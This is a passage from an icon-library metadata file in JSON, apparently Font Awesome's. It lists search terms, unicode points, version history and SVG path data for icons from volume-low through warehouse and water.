        "path": "M533.6 32.5C598.5 85.3 640 165.8 640 256s-41.5 170.8-106.4 223.5c-10.3 8.4-25.4 6.8-33.8-3.5s-6.8-25.4 3.5-33.8C557.5 398.2 592 331.2 592 256s-34.5-142.2-88.7-186.3c-10.3-8.4-11.8-23.5-3.5-33.8s23.5-11.8 33.8-3.5zM473.1 107c43.2 35.2 70.9 88.9 70.9 149s-27.7 113.8-70.9 149c-10.3 8.4-25.4 6.8-33.8-3.5s-6.8-25.4 3.5-33.8C475.3 341.3 496 301.1 496 256s-20.7-85.3-53.2-111.8c-10.3-8.4-11.8-23.5-3.5-33.8s23.5-11.8 33.8-3.5zm-60.5 74.5C434.1 199.1 448 225.9 448 256s-13.9 56.9-35.4 74.5c-10.3 8.4-25.4 6.8-33.8-3.5s-6.8-25.4 3.5-33.8C393.1 284.4 400 271 400 256s-6.9-28.4-17.7-37.3c-10.3-8.4-11.8-23.5-3.5-33.8s23.5-11.8 33.8-3.5zM301.1 34.8C312.6 40 320 51.4 320 64V448c0 12.6-7.4 24-18.9 29.2s-25 3.1-34.4-5.3L131.8 352H64c-35.3 0-64-28.7-64-64V224c0-35.3 28.7-64 64-64h67.8L266.7 40.1c9.4-8.4 22.9-10.4 34.4-5.3z"
      }
    },
    "free": ["solid"]
  },
  "volume-low": {
    "aliases": {
      "names": ["volume-down"],
      "unicodes": {
        "composite": ["1f508"],
        "secondary": ["10f027"]
      }
    },
    "changes": [
      "1.0.0",
      "5.0.0",
      "5.3.0",
      "6.0.0-beta1",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "audio",
        "lower",
        "music",
        "quieter",
        "soft",
        "sound",
        "speaker",
        "speaker low volume"
      ]
    },
    "styles": ["solid"],
    "unicode": "f027",
    "label": "Volume Low",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766677,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M301.1 34.8C312.6 40 320 51.4 320 64V448c0 12.6-7.4 24-18.9 29.2s-25 3.1-34.4-5.3L131.8 352H64c-35.3 0-64-28.7-64-64V224c0-35.3 28.7-64 64-64h67.8L266.7 40.1c9.4-8.4 22.9-10.4 34.4-5.3zM412.6 181.5C434.1 199.1 448 225.9 448 256s-13.9 56.9-35.4 74.5c-10.3 8.4-25.4 6.8-33.8-3.5s-6.8-25.4 3.5-33.8C393.1 284.4 400 271 400 256s-6.9-28.4-17.7-37.3c-10.3-8.4-11.8-23.5-3.5-33.8s23.5-11.8 33.8-3.5z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M301.1 34.8C312.6 40 320 51.4 320 64V448c0 12.6-7.4 24-18.9 29.2s-25 3.1-34.4-5.3L131.8 352H64c-35.3 0-64-28.7-64-64V224c0-35.3 28.7-64 64-64h67.8L266.7 40.1c9.4-8.4 22.9-10.4 34.4-5.3zM412.6 181.5C434.1 199.1 448 225.9 448 256s-13.9 56.9-35.4 74.5c-10.3 8.4-25.4 6.8-33.8-3.5s-6.8-25.4 3.5-33.8C393.1 284.4 400 271 400 256s-6.9-28.4-17.7-37.3c-10.3-8.4-11.8-23.5-3.5-33.8s23.5-11.8 33.8-3.5z"
      }
    },
    "free": ["solid"]
  },
  "volume-off": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f026"]
      }
    },
    "changes": [
      "1.0.0",
      "5.0.0",
      "5.3.0",
      "5.8.0",
      "6.0.0-beta1",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["audio", "ban", "music", "mute", "quiet", "silent", "sound"]
    },
    "styles": ["solid"],
    "unicode": "f026",
    "label": "Volume Off",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766676,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 320 512\"><path d=\"M320 64c0-12.6-7.4-24-18.9-29.2s-25-3.1-34.4 5.3L131.8 160H64c-35.3 0-64 28.7-64 64v64c0 35.3 28.7 64 64 64h67.8L266.7 471.9c9.4 8.4 22.9 10.4 34.4 5.3S320 460.6 320 448V64z\"/></svg>",
        "viewBox": [0, 0, 320, 512],
        "width": 320,
        "height": 512,
        "path": "M320 64c0-12.6-7.4-24-18.9-29.2s-25-3.1-34.4 5.3L131.8 160H64c-35.3 0-64 28.7-64 64v64c0 35.3 28.7 64 64 64h67.8L266.7 471.9c9.4 8.4 22.9 10.4 34.4 5.3S320 460.6 320 448V64z"
      }
    },
    "free": ["solid"]
  },
  "volume-xmark": {
    "aliases": {
      "names": ["volume-mute", "volume-times"],
      "unicodes": {
        "secondary": ["10f6a9"]
      }
    },
    "changes": ["5.3.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["audio", "music", "quiet", "sound", "speaker"]
    },
    "styles": ["solid"],
    "unicode": "f6a9",
    "label": "Volume Xmark",
    "voted": true,
    "svg": {
      "solid": {
        "last_modified": 1684766675,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M301.1 34.8C312.6 40 320 51.4 320 64V448c0 12.6-7.4 24-18.9 29.2s-25 3.1-34.4-5.3L131.8 352H64c-35.3 0-64-28.7-64-64V224c0-35.3 28.7-64 64-64h67.8L266.7 40.1c9.4-8.4 22.9-10.4 34.4-5.3zM425 167l55 55 55-55c9.4-9.4 24.6-9.4 33.9 0s9.4 24.6 0 33.9l-55 55 55 55c9.4 9.4 9.4 24.6 0 33.9s-24.6 9.4-33.9 0l-55-55-55 55c-9.4 9.4-24.6 9.4-33.9 0s-9.4-24.6 0-33.9l55-55-55-55c-9.4-9.4-9.4-24.6 0-33.9s24.6-9.4 33.9 0z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M301.1 34.8C312.6 40 320 51.4 320 64V448c0 12.6-7.4 24-18.9 29.2s-25 3.1-34.4-5.3L131.8 352H64c-35.3 0-64-28.7-64-64V224c0-35.3 28.7-64 64-64h67.8L266.7 40.1c9.4-8.4 22.9-10.4 34.4-5.3zM425 167l55 55 55-55c9.4-9.4 24.6-9.4 33.9 0s9.4 24.6 0 33.9l-55 55 55 55c9.4 9.4 9.4 24.6 0 33.9s-24.6 9.4-33.9 0l-55-55-55 55c-9.4 9.4-24.6 9.4-33.9 0s-9.4-24.6 0-33.9l55-55-55-55c-9.4-9.4-9.4-24.6 0-33.9s24.6-9.4 33.9 0z"
      }
    },
    "free": ["solid"]
  },
  "vr-cardboard": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f729"]
      }
    },
    "changes": ["5.4.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["3d", "augment", "google", "reality", "virtual"]
    },
    "styles": ["solid"],
    "unicode": "f729",
    "label": "Vr Cardboard",
    "voted": true,
    "svg": {
      "solid": {
        "last_modified": 1684767601,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M576 64H64C28.7 64 0 92.7 0 128V384c0 35.3 28.7 64 64 64H184.4c24.2 0 46.4-13.7 57.2-35.4l32-64c8.8-17.5 26.7-28.6 46.3-28.6s37.5 11.1 46.3 28.6l32 64c10.8 21.7 33 35.4 57.2 35.4H576c35.3 0 64-28.7 64-64V128c0-35.3-28.7-64-64-64zM96 240a64 64 0 1 1 128 0A64 64 0 1 1 96 240zm384-64a64 64 0 1 1 0 128 64 64 0 1 1 0-128z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M576 64H64C28.7 64 0 92.7 0 128V384c0 35.3 28.7 64 64 64H184.4c24.2 0 46.4-13.7 57.2-35.4l32-64c8.8-17.5 26.7-28.6 46.3-28.6s37.5 11.1 46.3 28.6l32 64c10.8 21.7 33 35.4 57.2 35.4H576c35.3 0 64-28.7 64-64V128c0-35.3-28.7-64-64-64zM96 240a64 64 0 1 1 128 0A64 64 0 1 1 96 240zm384-64a64 64 0 1 1 0 128 64 64 0 1 1 0-128z"
      }
    },
    "free": ["solid"]
  },
  "vuejs": {
    "changes": ["5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f41f",
    "label": "Vue.js",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014476,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M356.9 64.3H280l-56 88.6-48-88.6H0L224 448 448 64.3h-91.1zm-301.2 32h53.8L224 294.5 338.4 96.3h53.8L224 384.5 55.7 96.3z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M356.9 64.3H280l-56 88.6-48-88.6H0L224 448 448 64.3h-91.1zm-301.2 32h53.8L224 294.5 338.4 96.3h53.8L224 384.5 55.7 96.3z"
      }
    },
    "free": ["brands"]
  },
  "w": {
    "aliases": {
      "unicodes": {
        "composite": ["77"]
      }
    },
    "changes": ["6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["Latin Capital Letter W", "Latin Small Letter W", "letter"]
    },
    "styles": ["solid"],
    "unicode": "57",
    "label": "W",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767247,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M20.8 34c16.5-6.2 35 2.2 41.2 18.7l110.2 294L257.3 55c4-13.7 16.5-23 30.7-23s26.7 9.4 30.7 23l85.1 291.7L514 52.8c6.2-16.5 24.6-24.9 41.2-18.7s24.9 24.7 18.7 41.2l-144 384c-4.8 12.9-17.4 21.3-31.2 20.7s-25.7-9.8-29.5-23L288 178.3 206.7 457c-3.9 13.2-15.8 22.5-29.5 23s-26.3-7.8-31.2-20.7L2 75.2C-4.2 58.7 4.2 40.2 20.8 34z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M20.8 34c16.5-6.2 35 2.2 41.2 18.7l110.2 294L257.3 55c4-13.7 16.5-23 30.7-23s26.7 9.4 30.7 23l85.1 291.7L514 52.8c6.2-16.5 24.6-24.9 41.2-18.7s24.9 24.7 18.7 41.2l-144 384c-4.8 12.9-17.4 21.3-31.2 20.7s-25.7-9.8-29.5-23L288 178.3 206.7 457c-3.9 13.2-15.8 22.5-29.5 23s-26.3-7.8-31.2-20.7L2 75.2C-4.2 58.7 4.2 40.2 20.8 34z"
      }
    },
    "free": ["solid"]
  },
  "walkie-talkie": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f8ef"]
      }
    },
    "changes": ["5.11.0", "6.0.0-beta1", "6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "communication",
        "copy",
        "intercom",
        "over",
        "portable",
        "radio",
        "two way radio"
      ]
    },
    "styles": ["solid"],
    "unicode": "f8ef",
    "label": "Walkie Talkie",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766675,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M112 24c0-13.3-10.7-24-24-24S64 10.7 64 24V96H48C21.5 96 0 117.5 0 144V300.1c0 12.7 5.1 24.9 14.1 33.9l3.9 3.9c9 9 14.1 21.2 14.1 33.9V464c0 26.5 21.5 48 48 48H304c26.5 0 48-21.5 48-48V371.9c0-12.7 5.1-24.9 14.1-33.9l3.9-3.9c9-9 14.1-21.2 14.1-33.9V144c0-26.5-21.5-48-48-48H320c0-17.7-14.3-32-32-32s-32 14.3-32 32H224c0-17.7-14.3-32-32-32s-32 14.3-32 32H112V24zm0 136H272c8.8 0 16 7.2 16 16s-7.2 16-16 16H112c-8.8 0-16-7.2-16-16s7.2-16 16-16zm0 64H272c8.8 0 16 7.2 16 16s-7.2 16-16 16H112c-8.8 0-16-7.2-16-16s7.2-16 16-16zm0 64H272c8.8 0 16 7.2 16 16s-7.2 16-16 16H112c-8.8 0-16-7.2-16-16s7.2-16 16-16z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M112 24c0-13.3-10.7-24-24-24S64 10.7 64 24V96H48C21.5 96 0 117.5 0 144V300.1c0 12.7 5.1 24.9 14.1 33.9l3.9 3.9c9 9 14.1 21.2 14.1 33.9V464c0 26.5 21.5 48 48 48H304c26.5 0 48-21.5 48-48V371.9c0-12.7 5.1-24.9 14.1-33.9l3.9-3.9c9-9 14.1-21.2 14.1-33.9V144c0-26.5-21.5-48-48-48H320c0-17.7-14.3-32-32-32s-32 14.3-32 32H224c0-17.7-14.3-32-32-32s-32 14.3-32 32H112V24zm0 136H272c8.8 0 16 7.2 16 16s-7.2 16-16 16H112c-8.8 0-16-7.2-16-16s7.2-16 16-16zm0 64H272c8.8 0 16 7.2 16 16s-7.2 16-16 16H112c-8.8 0-16-7.2-16-16s7.2-16 16-16zm0 64H272c8.8 0 16 7.2 16 16s-7.2 16-16 16H112c-8.8 0-16-7.2-16-16s7.2-16 16-16z"
      }
    },
    "free": ["solid"]
  },
  "wallet": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f555"]
      }
    },
    "changes": [
      "5.0.13",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["billfold", "cash", "currency", "money"]
    },
    "styles": ["solid"],
    "unicode": "f555",
    "label": "Wallet",
    "voted": true,
    "svg": {
      "solid": {
        "last_modified": 1684766476,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M64 32C28.7 32 0 60.7 0 96V416c0 35.3 28.7 64 64 64H448c35.3 0 64-28.7 64-64V192c0-35.3-28.7-64-64-64H80c-8.8 0-16-7.2-16-16s7.2-16 16-16H448c17.7 0 32-14.3 32-32s-14.3-32-32-32H64zM416 272a32 32 0 1 1 0 64 32 32 0 1 1 0-64z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M64 32C28.7 32 0 60.7 0 96V416c0 35.3 28.7 64 64 64H448c35.3 0 64-28.7 64-64V192c0-35.3-28.7-64-64-64H80c-8.8 0-16-7.2-16-16s7.2-16 16-16H448c17.7 0 32-14.3 32-32s-14.3-32-32-32H64zM416 272a32 32 0 1 1 0 64 32 32 0 1 1 0-64z"
      }
    },
    "free": ["solid"]
  },
  "wand-magic": {
    "aliases": {
      "names": ["magic"],
      "unicodes": {
        "secondary": ["10f0d0"]
      }
    },
    "changes": [
      "2.0.0",
      "5.0.0",
      "5.1.0",
      "6.0.0-beta1",
      "6.0.0",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "autocomplete",
        "automatic",
        "mage",
        "magic",
        "spell",
        "wand",
        "witch",
        "wizard"
      ]
    },
    "styles": ["solid"],
    "unicode": "f0d0",
    "label": "Wand Magic",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767366,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M14.1 463.3c-18.7-18.7-18.7-49.1 0-67.9L395.4 14.1c18.7-18.7 49.1-18.7 67.9 0l34.6 34.6c18.7 18.7 18.7 49.1 0 67.9L116.5 497.9c-18.7 18.7-49.1 18.7-67.9 0L14.1 463.3zM347.6 187.6l105-105L429.4 59.3l-105 105 23.3 23.3z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M14.1 463.3c-18.7-18.7-18.7-49.1 0-67.9L395.4 14.1c18.7-18.7 49.1-18.7 67.9 0l34.6 34.6c18.7 18.7 18.7 49.1 0 67.9L116.5 497.9c-18.7 18.7-49.1 18.7-67.9 0L14.1 463.3zM347.6 187.6l105-105L429.4 59.3l-105 105 23.3 23.3z"
      }
    },
    "free": ["solid"]
  },
  "wand-magic-sparkles": {
    "aliases": {
      "names": ["magic-wand-sparkles"]
    },
    "changes": ["6.0.0-beta1", "6.0.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["auto", "magic", "magic wand", "trick", "witch", "wizard"]
    },
    "styles": ["solid"],
    "unicode": "e2ca",
    "label": "Wand Magic Sparkles",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767368,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M234.7 42.7L197 56.8c-3 1.1-5 4-5 7.2s2 6.1 5 7.2l37.7 14.1L248.8 123c1.1 3 4 5 7.2 5s6.1-2 7.2-5l14.1-37.7L315 71.2c3-1.1 5-4 5-7.2s-2-6.1-5-7.2L277.3 42.7 263.2 5c-1.1-3-4-5-7.2-5s-6.1 2-7.2 5L234.7 42.7zM46.1 395.4c-18.7 18.7-18.7 49.1 0 67.9l34.6 34.6c18.7 18.7 49.1 18.7 67.9 0L529.9 116.5c18.7-18.7 18.7-49.1 0-67.9L495.3 14.1c-18.7-18.7-49.1-18.7-67.9 0L46.1 395.4zM484.6 82.6l-105 105-23.3-23.3 105-105 23.3 23.3zM7.5 117.2C3 118.9 0 123.2 0 128s3 9.1 7.5 10.8L64 160l21.2 56.5c1.7 4.5 6 7.5 10.8 7.5s9.1-3 10.8-7.5L128 160l56.5-21.2c4.5-1.7 7.5-6 7.5-10.8s-3-9.1-7.5-10.8L128 96 106.8 39.5C105.1 35 100.8 32 96 32s-9.1 3-10.8 7.5L64 96 7.5 117.2zm352 256c-4.5 1.7-7.5 6-7.5 10.8s3 9.1 7.5 10.8L416 416l21.2 56.5c1.7 4.5 6 7.5 10.8 7.5s9.1-3 10.8-7.5L480 416l56.5-21.2c4.5-1.7 7.5-6 7.5-10.8s-3-9.1-7.5-10.8L480 352l-21.2-56.5c-1.7-4.5-6-7.5-10.8-7.5s-9.1 3-10.8 7.5L416 352l-56.5 21.2z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M234.7 42.7L197 56.8c-3 1.1-5 4-5 7.2s2 6.1 5 7.2l37.7 14.1L248.8 123c1.1 3 4 5 7.2 5s6.1-2 7.2-5l14.1-37.7L315 71.2c3-1.1 5-4 5-7.2s-2-6.1-5-7.2L277.3 42.7 263.2 5c-1.1-3-4-5-7.2-5s-6.1 2-7.2 5L234.7 42.7zM46.1 395.4c-18.7 18.7-18.7 49.1 0 67.9l34.6 34.6c18.7 18.7 49.1 18.7 67.9 0L529.9 116.5c18.7-18.7 18.7-49.1 0-67.9L495.3 14.1c-18.7-18.7-49.1-18.7-67.9 0L46.1 395.4zM484.6 82.6l-105 105-23.3-23.3 105-105 23.3 23.3zM7.5 117.2C3 118.9 0 123.2 0 128s3 9.1 7.5 10.8L64 160l21.2 56.5c1.7 4.5 6 7.5 10.8 7.5s9.1-3 10.8-7.5L128 160l56.5-21.2c4.5-1.7 7.5-6 7.5-10.8s-3-9.1-7.5-10.8L128 96 106.8 39.5C105.1 35 100.8 32 96 32s-9.1 3-10.8 7.5L64 96 7.5 117.2zm352 256c-4.5 1.7-7.5 6-7.5 10.8s3 9.1 7.5 10.8L416 416l21.2 56.5c1.7 4.5 6 7.5 10.8 7.5s9.1-3 10.8-7.5L480 416l56.5-21.2c4.5-1.7 7.5-6 7.5-10.8s-3-9.1-7.5-10.8L480 352l-21.2-56.5c-1.7-4.5-6-7.5-10.8-7.5s-9.1 3-10.8 7.5L416 352l-56.5 21.2z"
      }
    },
    "free": ["solid"]
  },
  "wand-sparkles": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f72b"]
      }
    },
    "changes": ["5.4.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "autocomplete",
        "automatic",
        "fantasy",
        "halloween",
        "holiday",
        "magic",
        "weapon",
        "witch",
        "wizard"
      ]
    },
    "styles": ["solid"],
    "unicode": "f72b",
    "label": "Wand Sparkles",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767602,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M464 6.1c9.5-8.5 24-8.1 33 .9l8 8c9 9 9.4 23.5 .9 33l-85.8 95.9c-2.6 2.9-4.1 6.7-4.1 10.7V176c0 8.8-7.2 16-16 16H384.2c-4.6 0-8.9 1.9-11.9 5.3L100.7 500.9C94.3 508 85.3 512 75.8 512c-8.8 0-17.3-3.5-23.5-9.8L9.7 459.7C3.5 453.4 0 445 0 436.2c0-9.5 4-18.5 11.1-24.8l111.6-99.8c3.4-3 5.3-7.4 5.3-11.9V272c0-8.8 7.2-16 16-16h34.6c3.9 0 7.7-1.5 10.7-4.1L464 6.1zM432 288c3.6 0 6.7 2.4 7.7 5.8l14.8 51.7 51.7 14.8c3.4 1 5.8 4.1 5.8 7.7s-2.4 6.7-5.8 7.7l-51.7 14.8-14.8 51.7c-1 3.4-4.1 5.8-7.7 5.8s-6.7-2.4-7.7-5.8l-14.8-51.7-51.7-14.8c-3.4-1-5.8-4.1-5.8-7.7s2.4-6.7 5.8-7.7l51.7-14.8 14.8-51.7c1-3.4 4.1-5.8 7.7-5.8zM87.7 69.8l14.8 51.7 51.7 14.8c3.4 1 5.8 4.1 5.8 7.7s-2.4 6.7-5.8 7.7l-51.7 14.8L87.7 218.2c-1 3.4-4.1 5.8-7.7 5.8s-6.7-2.4-7.7-5.8L57.5 166.5 5.8 151.7c-3.4-1-5.8-4.1-5.8-7.7s2.4-6.7 5.8-7.7l51.7-14.8L72.3 69.8c1-3.4 4.1-5.8 7.7-5.8s6.7 2.4 7.7 5.8zM208 0c3.7 0 6.9 2.5 7.8 6.1l6.8 27.3 27.3 6.8c3.6 .9 6.1 4.1 6.1 7.8s-2.5 6.9-6.1 7.8l-27.3 6.8-6.8 27.3c-.9 3.6-4.1 6.1-7.8 6.1s-6.9-2.5-7.8-6.1l-6.8-27.3-27.3-6.8c-3.6-.9-6.1-4.1-6.1-7.8s2.5-6.9 6.1-7.8l27.3-6.8 6.8-27.3c.9-3.6 4.1-6.1 7.8-6.1z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M464 6.1c9.5-8.5 24-8.1 33 .9l8 8c9 9 9.4 23.5 .9 33l-85.8 95.9c-2.6 2.9-4.1 6.7-4.1 10.7V176c0 8.8-7.2 16-16 16H384.2c-4.6 0-8.9 1.9-11.9 5.3L100.7 500.9C94.3 508 85.3 512 75.8 512c-8.8 0-17.3-3.5-23.5-9.8L9.7 459.7C3.5 453.4 0 445 0 436.2c0-9.5 4-18.5 11.1-24.8l111.6-99.8c3.4-3 5.3-7.4 5.3-11.9V272c0-8.8 7.2-16 16-16h34.6c3.9 0 7.7-1.5 10.7-4.1L464 6.1zM432 288c3.6 0 6.7 2.4 7.7 5.8l14.8 51.7 51.7 14.8c3.4 1 5.8 4.1 5.8 7.7s-2.4 6.7-5.8 7.7l-51.7 14.8-14.8 51.7c-1 3.4-4.1 5.8-7.7 5.8s-6.7-2.4-7.7-5.8l-14.8-51.7-51.7-14.8c-3.4-1-5.8-4.1-5.8-7.7s2.4-6.7 5.8-7.7l51.7-14.8 14.8-51.7c1-3.4 4.1-5.8 7.7-5.8zM87.7 69.8l14.8 51.7 51.7 14.8c3.4 1 5.8 4.1 5.8 7.7s-2.4 6.7-5.8 7.7l-51.7 14.8L87.7 218.2c-1 3.4-4.1 5.8-7.7 5.8s-6.7-2.4-7.7-5.8L57.5 166.5 5.8 151.7c-3.4-1-5.8-4.1-5.8-7.7s2.4-6.7 5.8-7.7l51.7-14.8L72.3 69.8c1-3.4 4.1-5.8 7.7-5.8s6.7 2.4 7.7 5.8zM208 0c3.7 0 6.9 2.5 7.8 6.1l6.8 27.3 27.3 6.8c3.6 .9 6.1 4.1 6.1 7.8s-2.5 6.9-6.1 7.8l-27.3 6.8-6.8 27.3c-.9 3.6-4.1 6.1-7.8 6.1s-6.9-2.5-7.8-6.1l-6.8-27.3-27.3-6.8c-3.6-.9-6.1-4.1-6.1-7.8s2.5-6.9 6.1-7.8l27.3-6.8 6.8-27.3c.9-3.6 4.1-6.1 7.8-6.1z"
      }
    },
    "free": ["solid"]
  },
  "warehouse": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f494"]
      }
    },
    "changes": [
      "5.0.7",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["building", "capacity", "garage", "inventory", "storage"]
    },
    "styles": ["solid"],
    "unicode": "f494",
    "label": "Warehouse",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766827,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M0 488V171.3c0-26.2 15.9-49.7 40.2-59.4L308.1 4.8c7.6-3.1 16.1-3.1 23.8 0L599.8 111.9c24.3 9.7 40.2 33.3 40.2 59.4V488c0 13.3-10.7 24-24 24H568c-13.3 0-24-10.7-24-24V224c0-17.7-14.3-32-32-32H128c-17.7 0-32 14.3-32 32V488c0 13.3-10.7 24-24 24H24c-13.3 0-24-10.7-24-24zm488 24l-336 0c-13.3 0-24-10.7-24-24V432H512l0 56c0 13.3-10.7 24-24 24zM128 400V336H512v64H128zm0-96V224H512l0 80H128z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M0 488V171.3c0-26.2 15.9-49.7 40.2-59.4L308.1 4.8c7.6-3.1 16.1-3.1 23.8 0L599.8 111.9c24.3 9.7 40.2 33.3 40.2 59.4V488c0 13.3-10.7 24-24 24H568c-13.3 0-24-10.7-24-24V224c0-17.7-14.3-32-32-32H128c-17.7 0-32 14.3-32 32V488c0 13.3-10.7 24-24 24H24c-13.3 0-24-10.7-24-24zm488 24l-336 0c-13.3 0-24-10.7-24-24V432H512l0 56c0 13.3-10.7 24-24 24zM128 400V336H512v64H128zm0-96V224H512l0 80H128z"
      }
    },
    "free": ["solid"]
  },
  "watchman-monitoring": {
    "changes": ["5.15.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "e087",
    "label": "Watchman Monitoring",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014478,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M256,16C123.452,16,16,123.452,16,256S123.452,496,256,496,496,388.548,496,256,388.548,16,256,16ZM121.69,429.122C70.056,388.972,36.741,326.322,36.741,256a218.519,218.519,0,0,1,9.587-64.122l102.9-17.895-.121,10.967-13.943,2.013s-.144,12.5-.144,19.549a12.778,12.778,0,0,0,4.887,10.349l9.468,7.4Zm105.692-283.27,8.48-7.618s6.934-5.38-.143-9.344c-7.188-4.024-39.53-34.5-39.53-34.5-5.348-5.477-8.257-7.347-15.46,0,0,0-32.342,30.474-39.529,34.5-7.078,3.964-.144,9.344-.144,9.344l8.481,7.618-.048,4.369L75.982,131.045c39.644-56.938,105.532-94.3,180.018-94.3A218.754,218.754,0,0,1,420.934,111.77l-193.512,37.7Zm34.063,329.269-33.9-250.857,9.467-7.4a12.778,12.778,0,0,0,4.888-10.349c0-7.044-.144-19.549-.144-19.549l-13.943-2.013-.116-10.474,241.711,31.391A218.872,218.872,0,0,1,475.259,256C475.259,375.074,379.831,472.212,261.445,475.121Z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M256,16C123.452,16,16,123.452,16,256S123.452,496,256,496,496,388.548,496,256,388.548,16,256,16ZM121.69,429.122C70.056,388.972,36.741,326.322,36.741,256a218.519,218.519,0,0,1,9.587-64.122l102.9-17.895-.121,10.967-13.943,2.013s-.144,12.5-.144,19.549a12.778,12.778,0,0,0,4.887,10.349l9.468,7.4Zm105.692-283.27,8.48-7.618s6.934-5.38-.143-9.344c-7.188-4.024-39.53-34.5-39.53-34.5-5.348-5.477-8.257-7.347-15.46,0,0,0-32.342,30.474-39.529,34.5-7.078,3.964-.144,9.344-.144,9.344l8.481,7.618-.048,4.369L75.982,131.045c39.644-56.938,105.532-94.3,180.018-94.3A218.754,218.754,0,0,1,420.934,111.77l-193.512,37.7Zm34.063,329.269-33.9-250.857,9.467-7.4a12.778,12.778,0,0,0,4.888-10.349c0-7.044-.144-19.549-.144-19.549l-13.943-2.013-.116-10.474,241.711,31.391A218.872,218.872,0,0,1,475.259,256C475.259,375.074,379.831,472.212,261.445,475.121Z"
      }
    },
    "free": ["brands"]
  },
  "water": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f773"]
      }
    },
    "changes": ["5.5.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["lake", "liquid", "ocean", "sea", "swim", "wet"]
    },
    "styles": ["solid"],
    "unicode": "f773",
    "label": "Water",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767662,
